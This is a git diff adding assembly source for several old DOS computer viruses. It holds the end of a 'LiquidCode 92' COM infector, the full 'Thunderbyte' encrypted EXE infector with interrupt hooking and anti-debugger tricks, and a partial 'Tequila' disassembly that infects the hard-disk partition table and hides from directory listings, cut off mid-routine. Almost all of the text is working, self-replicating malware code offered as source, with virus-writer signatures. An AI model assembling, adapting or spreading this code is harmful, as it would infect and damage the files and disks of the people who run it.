+wipe_name: + push di + push ax + push cx + mov di, bp + add di, name_ + mov cx, 13 + mov al, 0 + rep stosb + pop cx + pop ax + pop di + ret +resrch: + call wipe_name + mov ah, 4fh + int 21h + jnc gd3 + jmp term_virus +gd3: + jmp go_again +INFECT: +;Time to infect the file!! + mov si, bp + add si, handle + mov bx, [si] + mov cx, vsize + mov dx, bp + call wipe_name + mov ax, 4000h + int 21h + mov ax, 4200h + mov cx, 0 + mov dx, cx + int 21h + mov dx, bp + add dx, new_5 + mov ax, 4000h + mov cx, 5 + int 21h + mov al, 1 + call date_time + mov ax, 3e00h + int 21h + jmp resrch + +fndnam proc + mov si, env + mov ax, [si] + mov es, ax + mov ds, ax + mov si, 0 + mov di, si +__lp: + lodsb + cmp al, 0 + je chknxt + stosb + jmp __lp +chknxt: + stosb + lodsb + cmp al, 0 + je fnd1 + stosb + jmp __lp +fnd1: + stosb +__lp2: + lodsb + cmp al, "a" + jae ff_ +up2: + cmp al, "A" + jae fff_ +up3: + stosb + jmp __lp2 +ff_: + cmp al,"z" + jbe fnd + jmp up2 +fff_: + cmp al, "Z" + jbe fnd + jmp up3 +fnd: + mov si, di + mov al, 0 + repne scasb + mov dx, si + mov di, dx + ret +env equ 2ch +fndnam endp + + +self_kill: + ;this procedure disinfects specified files + ;SI points to the name of current file on disk + ;which is infected + call fndnam ;find name of current file from env block in memory + jmp gd__ +abrt: + int 20h +gd__: + mov ax, 3d02h + int 21h + jc abrt + mov bx, ax + mov ax, cs + mov ds, ax + mov es, ax + mov cx, 5 + mov dx, bp + add dx, first_five + call wipe_name + mov ax, 4000h + int 21h + jc abrt + mov dx, 0 + mov cx, 0 + mov ax, 4202h + int 21h + jnc gd__1 + jmp abrt +gd__1: + sub ax, vsize + mov dx, ax + mov cx, 0 + mov ax, 4200h + int 21h + call wipe_name + mov cx, 0 + mov ax, 4000h + int 21h + mov ax, 3e00h + int 21h + jmp term_virus +date_time: + pusha + mov ah, 57h + cmp al, 0 + je fnd__$ + mov di, bp + mov si, di + add di, date + add si, time + mov dx, [di] + mov cx, [si] + int 21h + jmp ret__ +fnd__$: + int 21h + mov si, bp + mov di, bp + add si, time + add di, date + mov [si], cx + mov [di], dx +ret__: + popa + ret +open_file: + mov dx, bp + add dx, name_ + mov ax, 3d02h + int 21h + jnc gd2 + jmp term_virus +gd2: + mov si, bp + add si, handle + mov [si], ax + ret +find_first_file: + mov dx, bp + mov cx, 0 + mov ah, 4eh + add dx, all_com_files + int 21h + jnc gd1 + jmp term_virus +gd1: + ret +set_dta: + mov dx, bp + mov ah, 1ah + add dx, dta + int 21h + ret +term_virus: + mov ax, 0 + mov bx, ax + mov cx, bx + mov dx, cx + mov si, 0100h + mov di, -1 + mov bp, di + push 0100h + ret + +CHRISTMAS: +;Program Lockup +; Exit without running program + int 20h +;APRILFOOLS: +;Ha Ha delete current file +; call fndnam +; mov ah, 41h +; int 21h +; mov ax, cs +; mov ds, ax +; mov es, ax +; jmp term_virus +; Data Bank +_fstfive: + int 20h + nop +ckmrk: + nop + nop +acf db "*.COM",0 +dt_ dw 0 +tme dw 0 +d_t_a: + rfd db 21 dup (0) + att db 0 + dw 0 + dw 0 + sz dd 0 + n_me db 13 dup (0),0 +handl dw 0 +nw_5 db 0e9h,0,0 +mrk db " " +strain db "LiquidCode 92" +; +end___: +first_five = offset _fstfive-0105h +all_com_files = offset acf-0105h +dta = offset d_t_a-0105h +attribute = offset att-0105h +time = offset tme-0105h +date = offset dt_-0105h +size_ = offset sz-0105h +name_ = offset n_me-0105h +handle = offset handl-0105h +new_5 = offset nw_5-0105h +mark = offset mrk-0105h +chkmark = offset ckmrk-0105h +vsize = offset end___-0105h +start endp +code ends + end start +  +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/t/TBYTE.ASM b/t/TBYTE.ASM new file mode 100755 index 0000000..311f394 --- /dev/null +++ b/t/TBYTE.ASM @@ -0,0 +1,612 @@ +;*****************************************************************************; +; ; +; Tunderbyte Virus ; +; ; +; TBSCAN.DAT : DB3F00807609??4D75F9 ; +; ; +;*****************************************************************************; + +virus segment public 'code' + assume cs:virus, ds:virus, es:virus + org 0 + +VirusStart equ $ +VirusSize1 equ (VirusEnd1-$) +VirusSize2 equ (VirusEnd2-$) + +Decrypt1: db 0bdh,StartEncrypt-Decrypt2,0 + db 80h,76h,Decrypt2-VirusStart-1,0 + db 4dh,75h,-7 +Decrypt2: cli + mov sp,offset DoAgain-2 + ret -8 + + db 0,0,0,0,'***** THUNDERBYTE *****',0,0,0,0 + +Init: mov cx,(VirusEnd1-StartEncrypt+1)/2 + mov dl,byte ptr cs:Decrypt1[6] + mov dh,dl + mov si,offset StartEncrypt +NotReady: ret 2 + +DecryptWord: mov ax,ss:[si] + xor cs:[si],dx +NextWord: add dx,ax + inc si + ret -4 + + dw DecryptWord + dw DoAgain + dw NextWord + dw Init +DoAgain: loop NotReady + +StartEncrypt equ $ + +Main: mov sp,1000h + sti + push ds + push es + mov ax,03031h + mov bx,0DEADh + int 21h + cmp ax,0DEADh + jne Install + jmp Exit +Install: push es + mov ah,52h + int 21h + mov ax,es:[bx-2] + mov cs:FirstMCB,ax + pop es +CheckBlock: mov ds,ax + inc ax + cmp word ptr ds:[1],ax + jne NextBlock + cmp word ptr ds:[3],((VirusSize2+0fh)/10h)+((VirusSize1+0fh)/10h) + jne NextBlock + push ax + push es + mov cx,VirusSize2 + xor di,di + mov es,ax + mov al,es:[di] + cld + repe scasb + pop es + pop ax + je CopyVirus +NextBlock: add ax,ds:[3] + cmp byte ptr ds:[0],'Z' + jne CheckBlock + mov ah,4ah + mov bx,-1 + int 21h + mov ah,4ah + sub bx,((VirusSize2+0fh)/10h)+((VirusSize1+0fh)/10h)+1 + int 21h + mov ah,48h + mov bx,((VirusSize2+0fh)/10h)+((VirusSize1+0fh)/10h) + int 21h +CopyVirus: push cs + pop ds + dec ax + mov es,ax + inc ax + mov es:[1],ax + mov cx,8 + mov si,offset CommandStr + mov di,cx + cld + rep movsb + mov es,ax +EncryptZero: inc byte ptr ds:Decrypt1[6] + jz EncryptZero + mov cx,VirusSize2 + xor si,si + xor di,di + cld + rep movsb + push es + call ReturnFar + xor ax,ax + mov ds,ax + cli + mov ax,offset DebugWatch + xchg ax,ds:[20h] + mov cs:OldInt8o,ax + mov ax,cs + xchg ax,ds:[22h] + mov cs:OldInt8s,ax + sti + push ds:[4] + push ds:[6] + mov word ptr ds:[4],offset Trace1 + mov word ptr ds:[6],cs + pushf + push cs + mov ax,offset Return4 + push ax + cli + pushf + pop ax + or ax,100h + push ax + push ds:[86h] + push ds:[84h] + mov ah,52h +Trace1: push bp + mov bp,sp + push ax + push ds + push cs + pop ds + mov ax,FirstMCB + cmp [bp+4],ax + jae Return1 + mov ax,[bp-2] + mov RegAX,ax + mov RegSP,bp + mov ax,[bp+2] + mov OldInt21o,ax + mov ax,[bp+4] + mov OldInt21s,ax + xor ax,ax + mov ds,ax + mov word ptr ds:[4],offset Trace2 + mov word ptr ds:[6],cs + jmp short Trace3 +Return1: jmp short Return3 +Trace2: push bp + mov bp,sp + push ax + push ds + cmp ax,cs:RegAX + jne Return3 + cmp bp,cs:RegSP + jne Return3 +Trace3: push bx + push dx + lds bx,[bp+2] + mov al,[bx] + mov dx,[bx+1] + inc dx + cmp al,0e9h + je JumpOpcode + cmp al,0e8h + je CallOpcode + xchg ax,dx + dec ax + cbw + xchg ax,dx + cmp al,0ebh + je JumpOpcode + cmp al,70h + jb Return2 + cmp al,7fh + ja Return2 +JumpOpcode: push ax + push ds + xor ax,ax + mov ds,ax + mov word ptr ds:[0c8h],offset HackJump + mov word ptr ds:[0cah],cs + jmp short Continue +CallOpcode: push ax + push ds + xor ax,ax + mov ds,ax + mov word ptr ds:[0c8h],offset HackCall + mov word ptr ds:[0cah],cs +Continue: pop ds + pop ax + mov cs:Displacement,dx + mov cs:Opcode,al + mov ax,32cdh + xchg ax,[bx] + mov cs:SavedCode,ax + mov cs:HackOffset,bx + mov cs:HackSegment,ds + and word ptr [bp+6],0feffh +Return2: pop dx + pop bx +Return3: pop ds + pop ax + pop bp + iret +Return4: pop ds:[6] + pop ds:[4] + mov cs:Handle,0 +Exit: pop es + pop ds + mov ax,ds + add ax,10h + add cs:OldCS,ax + add ax,cs:OldSP + mov dx,cs:OldSP + cli + mov ss,ax + mov sp,dx + sti + jmp cs:OldEntry + +ReturnFar: retf + +OldEntry equ this dword +OldIP dw 0 +OldCS dw -10h +OldSP dw 1000h +OldSS dw 0 + +HackAddress equ this dword +HackOffset dw ? +HackSegment dw ? +SavedCode dw ? + +HackJump: call Interrupt21 + push bp ; simulate a conditional or + push ax ; unconditional jump + mov bp,sp + mov ax,[bp+8] + and ax,0fcffh + push ax + db 0b8h ; mov ax,???? +Displacement dw 0 + popf +Opcode db 0ebh,3,0 ; j?? +3 + xor ax,ax + nop + add [bp+4],ax + pop ax + pop bp + iret + +HackCall: call Interrupt21 + sub sp,2 ; simulate a call + push bp + mov bp,sp + push ax + mov ax,[bp+4] + inc ax + xchg ax,[bp+8] + xchg ax,[bp+6] + xchg ax,[bp+4] + add ax,cs:Displacement + mov [bp+2],ax + pop ax + pop bp + iret + +Seek: mov ah,42h + xor cx,cx + xor dx,dx + +Dos: pushf + db 9ah +OldInt21o dw ? +OldInt21s dw ? + ret + +DosVersion: cmp ax,3031h + jne NotTByte + cmp bx,0DEADh + jne NotTByte + mov ax,0DEADh + add sp,8 + iret + +Interrupt21: cmp ah,30h + je DosVersion + push si + push ds + push cs:SavedCode + lds si,cs:HackAddress + pop ds:[si] + pop ds + pop si + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + cmp ah,3eh + je CloseFile + cmp ah,40h + je WriteFile +Old21: pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + push si + push ds + lds si,cs:HackAddress + mov word ptr ds:[si],32cdh + pop ds + pop si +NotTByte: ret + +WriteFile: mov ax,4400h + call Dos + cmp dl,7fh + ja Error1 + mov al,1 + call Seek + jc Error1 + or dx,dx + jnz Error1 + cmp ax,17h + ja Error1 + push cs + pop es + mov si,dx + mov di,offset Signature + add di,ax + cmp word ptr [si],"ZM" + jne Error1 + cmp word ptr [si+12h],0DEADh + je Error1 + cmp cx,18h + jb CheckHandle + or ax,ax + jz Ok +CheckHandle: cmp bx,cs:Handle + jne Error1 +Ok: add cx,ax + cmp cx,18h + jbe CountOk + mov cx,18h +CountOk: sub cx,ax + jbe Error1 + cld + rep movsb + mov cs:Handle,bx +Error1: jmp Old21 + +CloseFile: push cs + pop ds + push cs + pop es + mov ax,4400h + call Dos + test dl,80h + jne Error1 + or bx,bx + je Read + cmp cs:Handle,bx + je DoNotRead +Read: xor al,al + call Seek + jc Error1 + mov ah,3fh + mov cx,18h + mov dx,offset Signature + call Dos + jc Error1 +DoNotRead: mov cs:Handle,0 + cmp Signature,"ZM" + jne Error1 + cmp ChkSum,0DEADh + je Error1 + mov ax,ExeIP + mov OldIP,ax + mov ax,ExeCS + mov OldCS,ax + mov ax,ExeSS + mov OldSS,ax + mov ax,ExeSP + mov OldSP,ax + mov al,2 + call Seek + jc Error1 + push ax + push dx + mov cx,200h + div cx + cmp PartPage,dx + jne SizeError + add dx,-1 + adc ax,0 + cmp PageCount,ax +SizeError: pop dx + pop ax + jne Error2 + add ax,0fh + adc dx,0 + and ax,0fff0h + mov cx,dx + mov dx,ax + mov ax,4200h + call Dos + jnc SeekOk +Error2: jmp Old21 +SeekOk: mov cx,10h + div cx + sub ax,HdrSize + mov ExeCS,ax + mov ExeIP,offset Decrypt1 + mov ExeSS,ax + mov ExeSP,VirusSize1+400h + cmp MinMem,40h + jae MemoryOk + mov MinMem,40h + cmp MaxMem,40h + jae MemoryOk + mov MaxMem,40h +MemoryOk: push ds + push es + mov ax,cs + mov ds,ax + add ax,(VirusSize2+0fh)/10h + mov es,ax + mov cx,VirusSize1 + xor si,si + xor di,di + cld + rep movsb + mov ds,ax + mov cx,offset StartEncrypt-Decrypt2 + mov dl,byte ptr ds:Decrypt1[6] + mov si,offset StartEncrypt-1 +Again1: xor ds:[si],dl + dec si + loop Again1 + mov cx,(VirusEnd1-StartEncrypt+1)/2 + mov dh,dl + mov si,offset StartEncrypt +Again2: xor ds:[si],dx + mov ax,ds:[si] + add dx,ax + inc si + add dx,ax + inc si + loop Again2 + mov ah,40h + mov cx,VirusSize1 + xor dx,dx + call Dos + pop ds + pop es + jc Error3 + mov al,2 + call Seek + jc Error3 + mov cx,200h + div cx + mov PartPage,dx + add dx,-1 + adc ax,0 + mov PageCount,ax + mov ChkSum,0DEADh + xor al,al + call Seek + jc Error3 + mov ah,40h + mov cx,18h + mov dx,offset Signature + call Dos +Error3: jmp Old21 + +Count dw 8 +DebugStr db 'DEBUG' +CommandStr db 'COMMAND ' + +DebugWatch: push ax + push cx + push dx + push si + push di + push ds + push es + dec cs:Count + jnz EndWatch + mov cs:Count,8 + mov ax,0b000h + mov ds,ax + mov cx,2 + push cs + pop es + cld +NextScreen: push cx + mov cx,2000 + xor si,si + mov di,offset DebugStr +NextChar1: mov dx,5 +NextChar2: lodsb + inc si + and al,0dfh + scasb + jne CharOk + dec dx + jnz NextChar2 +Alarm: pop cx + lds si,cs:HackAddress + cmp byte ptr ds:[si],0cdh + jne EndWatch + mov ax,cs:SavedCode + mov ds:[si],ax + xor cx,cx + mov ds,cx + mov ax,cs:OldInt8o + mov ds:[20h],ax + mov ax,cs:OldInt8s + mov ds:[22h],ax + mov es,cx + push cs + pop ds + mov cx,14 + mov si,offset EndWatch-2 + mov di,4f0h + push es + push di + rep movsb + xor di,di + mov cx,VirusSize2 + push cs + pop es + retf +CharOk: neg dx + add dx,5 + sbb di,dx + sub si,dx + sub si,dx + loop NextChar1 +ScreenOk: mov ax,ds + add ax,800h + mov ds,ax + pop cx + loop NextScreen + jmp short EndWatch + rep stosb +EndWatch: pop es + pop ds + pop di + pop si + pop dx + pop cx + pop ax + db 0eah +OldInt8o dw ? +OldInt8s dw ? + + db '***** (C) COPYRIGHT 1992 BY THE WRITER *****' + +VirusEnd1 equ $ + +FirstMCB dw ? +RegAX dw ? +RegSP dw ? + +Handle dw ? +Signature dw ? +PartPage dw ? +PageCount dw ? +ReloCnt dw ? +HdrSize dw ? +MinMem dw ? +MaxMem dw ? +ExeSS dw ? +ExeSP dw ? +ChkSum dw ? +ExeIP dw ? +ExeCS dw ? + +VirusEnd2 equ $ + +virus ends + +end Main + +;; +;> and Remember Don't Forget to Call <; +;> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <; +;; + diff --git a/t/TEQUILA.ASM b/t/TEQUILA.ASM new file mode 100755 index 0000000..21c7eba --- /dev/null +++ b/t/TEQUILA.ASM @@ -0,0 +1,1089 @@ + ;============================= + ; the tequila virus = + ; a recompilable = + ; dis-assembly = + ; specifically designed = + ; for assembly to a COM file = + ; with the A86 assembler. = + ; ++++++++++++++++++ = + ; If you desire a "perfect" = + ; byte for byte source code = + ;match-up, the MASM assembler= + ; must be used and the noted = + ;instructions must be changed= + ; to comply with MASM syntax.= + ; In addition, all byte and = + ;word pointer references must= + ; be changed from B and W to = + ; BYTE POINTER and WORD = + ; POINTER. = + ;============================= + + +CODE_SEG SEGMENT +ASSUME CS:CODE_SEG, DS:CODE_SEG, ES:CODE_SEG, SS:CODE_SEG +ORG 0100 +TEQUILA PROC NEAR + +JMP START + + DB 000, 000, 000, 000, 000, 000, 000, 0FFH, 0FFH + DB 009, 005, 001H, 010H, 000, 000, 002H, 0FAH, 000, 00CH + + DB 00DH, 00AH, 00DH, 00AH + DB "Welcome to T.TEQUILA's latest production.", 00DH, 00AH + DB "Contact T.TEQUILA/P.o.Box 543/6312 St'hausen/" + DB "Switzerland.", 00DH, 00AH + DB "Loving thoughts to L.I.N.D.A", 00DH, 00AH, 00DH, 00AH + DB "BEER and TEQUILA forever !", 00DH, 00AH, 00DH, 00AH + DB "$" + + DB "Execute: mov ax, FE03 / int 21. Key to go on!" + + +PROGRAM_TERMINATION_ROUTINE: + PUSH BP + MOV BP,SP + SUB SP,0CH + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH ES + PUSH DS + PUSH CS + POP DS + MOV AX,W[6] + INC AX + JE 0243H ;Masm Mod. Needed + DEC AX + JNE 020DH ;Masm Mod. Needed + DEC W[8] ;Masm Mod. Needed + JNE 0243H ;Masm Mod. Needed + JMP 0246H ;Masm Mod. Needed + MOV AH,02AH + CALL INT_21 + MOV SI,CX + MOV CX,W[8] + CMP CL,DL + JNE 022FH ;Masm Mod. Needed + MOV AX,SI + SUB AX,W[6] + MUL B[011H] ;Masm Mod. Needed + ADD AL,DH + ADD CH,3 + CMP AL,CH + JAE 0237H ;Masm Mod. Needed + MOV W[6],0FFFFH ;Masm Mod. Needed + JMP 0243H ;Masm Mod. Needed + MOV W[6],0 ;Masm Mod. Needed + MOV W[8],3 ;Masm Mod. Needed + JMP 02DF ;Masm Mod. Needed + MOV BX,0B800H + INT 011 + AND AX,030H + CMP AX,030H + JNE 0256H ;Masm Mod. Needed + MOV BX,0B000H + MOV ES,BX + XOR BX,BX + MOV DI,0FD8FH + MOV SI,0FC18H + MOV W[BP-2],SI + MOV W[BP-4],DI + MOV CX,01E + MOV AX,W[BP-2] + IMUL AX + MOV W[BP-8],AX + MOV W[BP-6],DX + MOV AX,W[BP-4] + IMUL AX + MOV W[BP-0C],AX + MOV W[BP-0A],DX + ADD AX,W[BP-8] + ADC DX,W[BP-6] + CMP DX,0F + JAE 02B0 ;Masm Mod. Needed + MOV AX,W[BP-2] + IMUL W[BP-4] + IDIV W[0F] ;Masm Mod. Needed + ADD AX,DI + MOV W[BP-4],AX + MOV AX,W[BP-8] + MOV DX,W[BP-6] + SUB AX,W[BP-0C] + SBB DX,W[BP-0A] + IDIV W[0D] ;Masm Mod. Needed + ADD AX,SI + MOV W[BP-2],AX + LOOP 0269 ;Masm Mod. Needed + INC CX + SHR CL,1 + MOV CH,CL + MOV CL,0DB + ES MOV W[BX],CX ;Masm Mod. Needed + INC BX + INC BX + ADD SI,012 + CMP SI,01B8 + JL 0260 ;Masm Mod. Needed + ADD DI,034 + CMP DI,02A3 + JL 025D ;Masm Mod. Needed + XOR DI,DI + MOV SI,0BB + MOV CX,02D + CLD + MOVSB + INC DI + LOOP 02D7 ;Masm Mod. Needed + XOR AX,AX + INT 016 + POP DS + POP ES + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + MOV SP,BP + POP BP + RET + +PRINT_MESSAGE: + PUSH DX + PUSH DS + PUSH CS + POP DS + MOV AH,9 + MOV DX,012 + CALL INT_21 + POP DS + POP DX + RET + +NEW_PARTITION_TABLE: + CLI + XOR BX,BX + MOV DS,BX + MOV SS,BX + MOV SP,07C00 + STI + XOR DI,DI + SUB W[0413],3 ;Masm Mod. Needed + INT 012 + MOV CL,6 + SHL AX,CL + MOV ES,AX + PUSH ES + MOV AX,022A + PUSH AX + MOV AX,0205 + MOV CX,W[07C30] + INC CX + MOV DX,W[07C32] + INT 013 + RETF + +DB 002, 0FE +DB 04C, 0E9 +DB 080, 004 + + PUSH CS + POP DS + XOR AX,AX + MOV ES,AX + MOV BX,07C00 + PUSH ES + PUSH BX + MOV AX,0201 + MOV CX,W[0226] + MOV DX,W[0228] + INT 013 + PUSH CS + POP ES + CLD + MOV SI,0409 + MOV DI,09BE + MOV CX,046 + REP MOVSB + MOV SI,091B + MOV DI,0A04 + MOV CX,045 + REP MOVSB + CLI + XOR AX,AX + MOV ES,AX + ES LES BX,[070] ;Masm Mod. Needed + MOV W[09B0],BX ;Masm Mod. Needed + MOV W[09B2],ES ;Masm Mod. Needed + MOV ES,AX + ES LES BX,[084] ;Masm Mod. Needed + MOV W[09B4],BX ;Masm Mod. Needed + MOV W[09B6],ES ;Masm Mod. Needed + MOV ES,AX + ES MOV W[070],044F ;Masm Mod. Needed + ES MOV W[072],DS ;Masm Mod. Needed + STI + RETF + +INSTALL: + CALL NEXT_LINE + NEXT_LINE: + POP SI + SUB SI,028F + PUSH SI + PUSH AX + PUSH ES + PUSH CS + POP DS + MOV AX,ES + ADD W[SI+2],AX + ADD W[SI+4],AX + DEC AX + MOV ES,AX + MOV AX,0FE02 + INT 021 + CMP AX,01FD + JE NO_PARTITION_INFECTION + ES CMP B[0],05A ;Masm Mod. Needed + JNE NO_PARTITION_INFECTION + ES CMP W[3],0BB ;Masm Mod. Needed + JBE NO_PARTITION_INFECTION + ES MOV AX,W[012] ;Masm Mod. Needed + SUB AX,0BB + MOV ES,AX + XOR DI,DI + MOV CX,09A4 + CLD + REP MOVSB + PUSH ES + POP DS + CALL INFECT_PARTITION_TABLE + NO_PARTITION_INFECTION: + POP ES + POP AX + PUSH ES + POP DS + POP SI + CS MOV SS,W[SI+4] ;Masm Mod. Needed + CHAIN_TO_THE_HOST_FILE: + CS JMP D[SI] ;Masm Mod. Needed + +INFECT_PARTITION_TABLE: + MOV AH,02A + INT 021 + MOV W[6],CX ;Masm Mod. Needed + MOV W[8],DX ;Masm Mod. Needed + MOV AH,052 + INT 021 + ES MOV AX,W[BX-2] ;Masm Mod. Needed + MOV W[03E8],AX ;Masm Mod. Needed + MOV AX,03513 + INT 021 + MOV W[09A0],BX ;Masm Mod. Needed + MOV W[09A2],ES ;Masm Mod. Needed + MOV AX,03501 + INT 021 + MOV SI,BX + MOV DI,ES + MOV AX,02501 + MOV DX,03DA + INT 021 + MOV B[0A],0 ;Masm Mod. Needed + PUSHF + POP AX + OR AX,0100 + PUSH AX + POPF + MOV AX,0201 + MOV BX,09A4 + MOV CX,1 + MOV DX,080 + PUSH DS + POP ES + PUSHF + CALL D[09A0] ;Masm Mod. Needed + PUSHF + POP AX + AND AX,0FEFF + PUSH AX + POPF + PUSHF + MOV AX,02501 + MOV DX,SI + MOV DS,DI + INT 021 + POPF + JAE 0450 ;Masm Mod. Needed + JMP RET ;Masm Mod. Needed + PUSH ES + POP DS + CMP W[BX+02E],0FE02 + JNE 045C ;Masm Mod. Needed + JMP RET ;Masm Mod. Needed + ADD BX,01BE + MOV CX,4 + MOV AL,B[BX+4] + CMP AL,4 + JE 0479 ;Masm Mod. Needed + CMP AL,6 + JE 0479 ;Masm Mod. Needed + CMP AL,1 + JE 0479 ;Masm Mod. Needed + ADD BX,010 + LOOP 0463 ;Masm Mod. Needed + JMP SHORT RET ;Masm Mod. Needed + MOV DL,080 + MOV DH,B[BX+5] + MOV W[0228],DX ;Masm Mod. Needed + MOV AX,W[BX+6] + MOV CX,AX + MOV SI,6 + AND AX,03F + CMP AX,SI + JBE RET ;Masm Mod. Needed + SUB CX,SI + MOV DI,BX + INC CX + MOV W[0226],CX ;Masm Mod. Needed + MOV AX,0301 + MOV BX,09A4 + PUSHF + CALL D[09A0] ;Masm Mod. Needed + JB RET ;Masm Mod. Needed + DEC CX + MOV W[DI+6],CX + INC CX + SUB W[DI+0C],SI + SBB W[DI+0E],0 + MOV AX,0305 + MOV BX,0 + INC CX + PUSHF + CALL D[09A0] ;Masm Mod. Needed + JB RET ;Masm Mod. Needed + MOV SI,01F6 + MOV DI,09A4 + MOV CX,034 + CLD + REP MOVSB + MOV AX,0301 + MOV BX,09A4 + MOV CX,1 + XOR DH,DH + PUSHF + CALL D[09A0] ;Masm Mod. Needed + RET + +NEW_INTERRUPT_ONE: + PUSH BP + MOV BP,SP + CS CMP B[0A],1 ;Masm Mod. Needed + JE 0506 ;Masm Mod. Needed + CMP W[BP+4],09B4 + JA 050B ;Masm Mod. Needed + PUSH AX + PUSH ES + LES AX,[BP+2] + CS MOV W[09A0],AX ;Masm Mod. Needed + CS MOV W[09A2],ES ;Masm Mod. Needed + CS MOV B[0A],1 + POP ES + POP AX + AND W[BP+6],0FEFF + POP BP + IRET + +NEW_INTERRUPT_13: + CMP CX,1 + JNE 054E ;Masm Mod. Needed + CMP DX,080 + JNE 054E ;Masm Mod. Needed + CMP AH,3 + JA 054E ;Masm Mod. Needed + CMP AH,2 + JB 054E ;Masm Mod. Needed + PUSH CX + PUSH DX + DEC AL + JE 0537 ;Masm Mod. Needed + PUSH AX + PUSH BX + ADD BX,0200 + INC CX + PUSHF + CS CALL D[09A0] ;Masm Mod. Needed + POP BX + POP AX + MOV AL,1 + CS MOV CX,W[0226] ;Masm Mod. Needed + CS MOV DX,W[0228] ;Masm Mod. Needed + PUSHF + CS CALL D[09A0] ;Masm Mod. Needed + POP DX + POP CX + RETF 2 + CS JMP D[09A0] ;Masm Mod. Needed + +NEW_TIMER_TICK_INTERRUPT: + PUSH AX + PUSH BX + PUSH ES + PUSH DS + XOR AX,AX + MOV ES,AX + PUSH CS + POP DS + ES LES BX,[084] ;Masm Mod. Needed + MOV AX,ES + CMP AX,0800 + JA 05B0 ;Masm Mod. Needed + CMP AX,W[09B6] + JNE 0575 ;Masm Mod. Needed + CMP BX,W[09B4] + JE 05B0 ;Masm Mod. Needed + MOV W[09B4],BX ;Masm Mod. Needed + MOV W[09B6],ES ;Masm Mod. Needed + XOR AX,AX + MOV DS,AX + CS LES BX,[09B0] ;Masm Mod. Needed + MOV W[070],BX ;Masm Mod. Needed + MOV W[072],ES ;Masm Mod. Needed + LES BX,[04C] ;Masm Mod. Needed + CS MOV W[09A0],BX ;Masm Mod. Needed + CS MOV W[09A2],ES ;Masm Mod. Needed + MOV W[04C],09BE ;Masm Mod. Needed + MOV W[04E],CS ;Masm Mod. Needed + MOV W[084],04B1 ;Masm Mod. Needed + MOV W[086],CS ;Masm Mod. Needed + POP DS + POP ES + POP BX + POP AX + IRET + +INT_21_INTERCEPT: + CMP AH,011 + JB CHECK_FOR_HANDLE + CMP AH,012 + JA CHECK_FOR_HANDLE + CALL ADJUST_FCB_MATCHES + RETF 2 + CHECK_FOR_HANDLE: + CMP AH,04E + JB CHECK_FOR_PREVIOUS_INSTALLATION + CMP AH,04F + JA CHECK_FOR_PREVIOUS_INSTALLATION + CALL ADJUST_HANDLE_MATCHES + RETF 2 + CHECK_FOR_PREVIOUS_INSTALLATION: + CMP AX,0FE02 + JNE CHECK_FOR_MESSAGE_PRINT + NOT AX + IRET + CHECK_FOR_MESSAGE_PRINT: + CMP AX,0FE03 + JNE CHECK_FOR_EXECUTE + CS CMP W[6],0 ;Masm Mod. Needed + JNE CHAIN_TO_TRUE_INT_21 + CALL PRINT_MESSAGE + IRET + CHECK_FOR_EXECUTE: + CMP AX,04B00 + JE SET_STACK + CMP AH,04C + JNE CHAIN_TO_TRUE_INT_21 + SET_STACK: + CS MOV W[09A6],SP ;Masm Mod. Needed + CS MOV W[09A8],SS ;Masm Mod. Needed + CLI + PUSH CS + POP SS + MOV SP,0AE5 + STI + CMP AH,04C + JNE TO_AN_INFECTION + CALL PROGRAM_TERMINATION_ROUTINE + JMP SHORT NO_INFECTION + TO_AN_INFECTION: + CALL INFECT_THE_FILE + NO_INFECTION: + CLI + CS MOV SS,W[09A8] ;Masm Mod. Needed + CS MOV SP,W[09A6] ;Masm Mod. Needed + STI + JMP SHORT CHAIN_TO_TRUE_INT_21 + CHAIN_TO_TRUE_INT_21: + CS INC W[09BC] ;Masm Mod. Needed + CS JMP D[09B4] ;Masm Mod. Needed + +NEW_CRITICAL_ERROR_HANDLER: + MOV AL,3 + IRET + +ADJUST_FCB_MATCHES: + PUSH BX + PUSH ES + PUSH AX + MOV AH,02F + CALL INT_21 + POP AX + PUSHF + CS CALL D[09B4] ;Masm Mod. Needed + PUSHF + PUSH AX + CMP AL,0FF + JE 0664 ;Masm Mod. Needed + ES CMP B[BX],0FF ;Masm Mod. Needed + JNE 064F ;Masm Mod. Needed + ADD BX,7 + ES MOV AL,B[BX+017] ;Masm Mod. Needed + AND AL,01F + CMP AL,01F + JNE 0664 ;Masm Mod. Needed + ES SUB W[BX+01D],09A4 ;Masm Mod. Needed + ES SBB W[BX+01F],0 ;Masm Mod. Needed + POP AX + POPF + POP ES + POP BX + RET + +ADJUST_HANDLE_MATCHES: + PUSH BX + PUSH ES + PUSH AX + MOV AH,02F + CALL INT_21 + POP AX + PUSHF + CS CALL D[09B4] ;Masm Mod. Needed + PUSHF + PUSH AX + JB 0691 ;Masm Mod. Needed + ES MOV AL,B[BX+016] ;Masm Mod. Needed + AND AL,01F + CMP AL,01F + JNE 0691 ;Masm Mod. Needed + ES SUB W[BX+01A],09A4 ;Masm Mod. Needed + ES SBB W[BX+01C],0 ;Masm Mod. Needed + POP AX + POPF + POP ES + POP BX + RET + +WRITE_TO_THE_FILE: + MOV AH,040 + JMP 069C ;Masm Mod. Needed + +READ_FROM_THE_FILE: + MOV AH,03F + CALL 06B4 ;Masm Mod. Needed + JB RET ;Masm Mod. Needed + SUB AX,CX + RET + +MOVE_TO_END_OF_FILE: + XOR CX,CX + XOR DX,DX + MOV AX,04202 + JMP 06B4 ;Masm Mod. Needed + +MOVE_TO_BEGINNING_OF_FILE: + XOR CX,CX + XOR DX,DX + MOV AX,04200 + CS MOV BX,W[09A4] ;Masm Mod. Needed + +INT_21: + CLI + PUSHF + CS CALL D[09B4] ;Masm Mod. Needed + RET + +INFECT_THE_FILE: + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH ES + PUSH DS + CALL CHECK_LETTERS_IN_FILENAME + JAE GOOD_NAME + JMP BAD_NAME + +GOOD_NAME: + PUSH DX + PUSH DS + PUSH CS + POP DS + +SAVE_AND_REPLACE_CRITICAL_ERROR_HANDLER: + MOV AX,03524 + CALL INT_21 + MOV W[09B8],BX ;Masm Mod. Needed + MOV W[09BA],ES ;Masm Mod. Needed + MOV AX,02524 